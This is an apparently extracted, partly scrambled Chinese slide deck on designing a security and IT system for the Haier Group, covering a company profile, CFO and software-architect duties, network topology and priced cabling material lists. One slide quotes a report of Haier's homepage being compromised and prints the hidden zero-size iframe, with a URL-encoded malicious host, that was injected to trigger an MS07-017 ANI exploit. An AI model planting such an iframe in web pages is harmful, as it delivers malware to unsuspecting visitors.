28.60 380.00 100.00 1000.00 175.00 213.00 48.00 360.00 1.00
3600.60 8064.00
800.80 42560.00 10500.00 19000.00 10150.00 12354.00 5568.00 720.00 2254.00
硬件架构
11 PT/FT2-55 25回线高频接线模块 件 702 42.00 29484.00
12 13
14 15 16 17 18 19 20 21 22
PT/8.037.061 PT/8.037.070
PT/8.037.100HX JPX211C PT/4.431.000 PT/GP11A PT/TX.ST1.02 PT/TX.STC1.02 PT/FL.ST.01 PT/XQ401-C PT 合计：
海尔公司简介
公司组织结构图：
海尔公司简介
公司网站结构图：
海尔公司简介
公司网站示意图：
海尔公司简介
海尔服务流程图：
安全现状
147个被黑网站类别比例图
组织机构
5%
其它
7%
政府机关
36%
教育科研
16%
商业机构
27%
网络服务
9%
安全现状
DSW LabAvert小组监测到国内知名网站海尔集团 ()官方页面被挂木马，挂马方式采用常见 的.JS脚本，当用户访问海尔集团的首页时会触发木马链接，其中 一个挂马链接利用MS07-017ANI光标漏洞，关于光标漏洞见： /vir/v20070329.html，页面被插入如下代码，用 以激活木马页面连接： <iframe width='0' height='0' src='http://%**%77%77%2E%38%35%31%37%33%33%2E%63 %6E/htm/view.htm?001'></iframe>
软件架构
软件架构师：
工作职责是在一个软件项目开发过程中，将客 户的需求转换为规范的开发计划及文本，并制 定这个项目的总体架构，指导整个开发团队完 成这个计划 主导系统全局分析设计和实施、负责软件构架 和关键技术决策的人员
软件架构
能力要求：
1、对项目开发涉及的所有问题领域都有经验， 包括彻底地理解项目需求，开展分析设计之类 软件工程活动等 2、具备领导素质，以在各小组之间推进技术工 作，并在项目压力下做出牢靠的关键决策 3、拥有优秀的沟通能力，用以进行说服、鼓励 和指导等活动，并赢得项目成员的信任
CFO相关职责
财务管理：
CFO应确保对公司财务业务进行有效的管理： （1）确保所有对外财务报告的完成。 （2）建立控制制度，确保公司财产的安全。 （3）控制企业现金流，确保现金管理、应收款管理和 应付款管理的完整和高效率。 （4）履行所有的报税和纳税义务。 （5）寻求降低公司税务负担的机遇。 （6）与公司开户银行保持密切的日常关系。 （7）合理规划投资项目，比如对于海尔企业信息化管 理系统建设的投资。 （8）管理公司的财务风险防范管理方案。
250回线背装架 125回线背装架
100回线背装架 125回线配线箱 管理线盘 12口光纤分线盒 ST-ST光纤单芯多模跳线 ST-SC光纤单芯多模跳线 ST法兰盘适配器 接线工具 水晶头
件 件
件 只 件 件 根 根 只 只 个 542831.60元
34 112
28 112 105 19 58 58 116 2 2254
硬件架构
一、确定布线系统
网络拓扑图
局域网布线
网关架构 与网络安 全
硬件架构
公司总部拓扑示意图：
硬件架构
总部与分公司拓扑示意图：
硬件架构
二、材料清单
◎线材 ◎终端 ◎服务器 ◎具体机房设置 ◎其他网络设备
硬件架构
材料清单示意：
序号 1 2 3 4 5 6 7 8 9 10 型 号 PT/XG.40U.60 PT/XG.30U.60 PT/FA3-08VIIB PT/5.566.021 UTP.S5.004 UTP.C5.004 PT/UTP.C3.025 PT/FB.SN.004 PT/FA3-08VI PT/FA3-08 名 称 19”配线柜（40U） 19”配线柜（30U） RI45双位插座面板 RJ45插座模块 5类4对UTP电缆 5类4对UTP电缆 3类25对UTP电缆 4芯室内多模光纤 24口Patch-Pannel 16口Patch-Pannel 单位 套 套 只 只 箱 箱 箱 米 套 套 数量 1 14 1127 2254 142 142 7 760 56 1 单价 5184.00 4212.00 9.70 28.80 660.00 560.00 3994.00 26.00 650.00 420.00 金额 5184.00 58968.00 10931.90 64915.20 93720.00 79520.00 27958.00 19760.00 36400.00 420.00
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CFO相关职责
财务预算和管理控制 ： 制定并执行一定的系统程序，以确保海尔公司 的管理者取得正确信息，用以确定目标、做出 决策、监督经营： （1）协调编制短期预算，包括成本预算、收益 预算等等。 （2）确定每个业务单元的主要绩效标准。 （3）确保业务单元有充分的管理控制权。 （4）与CEO和部门主管一起评估业务单元的绩 效。
海尔信息化建设
信息的标准
☻内网架设：将
财务、生产等部 分，如库存记录 联系到一起。例 如，海尔的大小 客户记录、洗衣 机零件的更新换 代等。.
☻外网架设：允
许客户访问网站 或信息系统。但 要有防火墙与权 限设置。.
海尔信息化建设
数据的分配，决定了软件的架构
外部信息收集：市场、新兴技术、政策
信息资源的分配
CFO相关职责
CFO是首席执行官和部门主管在主要战略和经营 方面的主要顾问，负责管理公司的财务和计划 工作，其职责范围包括： （1）公司战略； （2）财务战略；
（3）财务预算和管理控制；
（4）财务管理
CFO相关职责
公司战略 ： CFO应在协调制定价值最大化全面战略方面起主 导作用： （1）确保编制的计划能从现有的业务出发，为 海尔公司创造最大价值。比如，制定财务衡量 标准，建立目标完成情况监督系统。 （2）协助制定公司扩张战略，创造更大的股东 价值。比如结合市场机遇分析对于收购企业等 具体的提案进行业务和财务评估。
软件架构
能力要求：
4、以目标导向和主动的方式来不带任何感情色 彩地关注项目结果，构架师应当是项目背后的 技术推动力，而非构想者或梦想家（追求完美） 5、精通构架设计的理论、实践和工具，并掌握 多种参考构架、主要的可重用构架机制和模式 （例如J2EE架构等） 6、具备系统设计员的所有技能，但涉及面更广、 抽象级别更高
CFO相关职责
财务战略 ： 制定、建议和实施全面的财务战略，为公司的 经营战略提供支持，为股东创造最大价值： （1）提出机遇价值创造的资本和红利政策建议。 （2）设计并管理向投资者和金融界阐述海尔公 司计划要点和经营状况的策略。 （3）洽谈并履行所有重大金融交易，包括借贷、 股票发行、股票回购。
海尔公司简介
海尔集团在首席执行官张瑞敏确立的名牌战略 指导下，先后实施名牌战略、多元化战略和国 际化战略，2005年底，海尔进入第四个发展战 略阶段——全球化品牌战略阶段。创业25年的 拼搏努力，使海尔品牌在世界范围的美誉度大 幅提升。
海尔公司简介
2009年，海尔品牌价值高达812亿元，自2002 年以来，海尔品牌价值连续8年蝉联中国最有价 值品牌榜首。海尔品牌旗下冰箱、空调、洗衣 机、电视机、热水器、电脑、手机、家居集成 等19个产品被评为中国名牌，其中海尔冰箱、 洗衣机还被国家质检总局评为首批中国世界名 牌。
LOGO
海尔公司安全系统设计
目录
1. 2. 3. 4. 5.
海尔公司简介及安全现状 CIO CFO 软件架构 硬件架构
海尔公司简介
海尔集团是世界白色家电第一品牌、中国最具 价值品牌。海尔在全球建立了29个制造基地，8 个综合研发中心，19个海外贸易公司，全球员 工总数超过6万人，已发展成为大规模的跨国企 业集团，2008年海尔集团实现全球营业额1190 亿元。
硬件架构
三、协助CFO进行财务预算
价格、数量
规格选择
成本与效 果的均衡
硬件架构
四、监管实际工程的实施
1 2 3
是否能实 现其预计 功能
预算增加
LOGO
信息的畅通、急速流通
海尔信息化建设
安全相关的规范：
1.依照法律法规限制，严格遵循电子商务准则 2.身份认证、访问控制，给予员工甚至企外人员部分的权限。 3.数据访问（同上） 4.无形产品的版权保护（如专利技术、记录数据、客户联系 方式） 5.数字签名与交易的不可抵赖性（电子商务交易中的） 5.风险管理系统（如投资新生产线或与有失信记录的客户进 行交易） 6.分布式存储的技术（冗余备份、安全访问） 7.灾备